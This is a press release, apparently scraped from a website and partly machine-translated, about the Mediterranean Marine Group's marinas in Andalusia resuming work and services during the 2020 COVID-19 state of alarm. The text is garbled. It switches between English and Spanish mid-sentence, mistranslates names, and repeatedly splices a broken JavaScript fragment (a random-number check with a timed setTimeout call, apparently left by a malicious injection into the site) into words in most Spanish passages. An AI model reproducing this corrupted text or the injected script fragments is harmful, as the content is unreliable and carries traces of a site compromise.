The ports of the Mediterranean Marine Group resume their boating activities and continue their usual services

• La Duquesa Marina, Estepona and Marina del Este return to their industrial nautical activities with strict compliance with the health measures decreed

The Mediterranean Marine Group has reported that since Monday 13 April have resumed at their Marinas de La Duquesa, Estepona and Marina del Este the activity of boathouses and other industrial services, once the suspension of non-essential services decreed by the Council of Ministers has been lifted in the past 29 March.

In this sense, la actividad náutica industrial se ha reanudado llevandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}–>ando a cabo el estricto cumplimiento del protocolo de higiene y salud en los centros de trabajo, que continuarán cerrados al público y aplicandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}–>ando las medidas establecidas inicialmente en el decreto del Estado de Alarma. Like this, work in offices located within marinas is done by a single person and with the premises closed. In addition, telework will continue to be continued to all employees who have functions that may be fulfilled by this means. The reception and captaincy of the ports will remain closed to the public in person and attention will be produced online or by telephone.

Moreover, also from the Federation of Associations of Sports Ports to which Marinas del Mediterráneo belongs through the Association of Marinas de Andalucía, se ha querido aclarar que todos los concesionarios de puertos deportivos vienen prestandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}–>ando sus servicios habituales igual que antes de decretarse el Estado de Alarma. In this sense, as recorded by the minutes of the assembly held last year 9 April, although the Royal Decree 463/2020, of 14 March, by which the alarm state was declared, generally limits people's freedom of movement and suspends nautical tests and exhibits, marinas have remained open and up and running throughout this crisis.

Like this, incluso cuandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}–>ando se restringieron las actividades no consideradas esenciales, between the day 30 March and 12 April, se ha continuado considerandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}–>ando como esenciales los trabajos de limpieza, Maintenance, repair of urgent breakdowns and surveillance and, therefore, were not affected by the restriction as were activities that could be enhanced by telework.

Mediterranean Navies subscribes to what is indicated from THE FEAPDT, port legislation imposes on marina concessionaires and nautical-sports facilities, among other basic functions, cleaning obligations, Maintenance, administration and care of facilities and vessels and goods within them. These obligations have been considered essential by the laws enacted in the occasion of the COVID-19 health crisis and, under no circumstances, Suspended, so it is clear that dealers have an obligation to continue to perform them for the duration of the alarm state.

As Manuel Raigón has indicated, managing director of the Mediterranean Marine Group, “en los puertos en los que gestionamos las concesiones seguimos desarrollandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}–>ando las labores habituales de siempre que incluso son ahora más necesarias puesto que nuestro personal se ocupa del cuidado y mantenimiento en un momento en el que los usuarios no están en sus embarcaciones ni locales, evitandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}–>Ando, in this way, Damage, robos y cualquier acto vandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}–>andálico”.

The minutes of the EAFRDT assembly also state that the Operating and Police Regulations of all marinas establish the duty of all mooring and local users assigned to pay proportionately the costs generated by the services performed by legal obligation by the concessionaires, so they should continue to collect common port charges during this period as is normally done.

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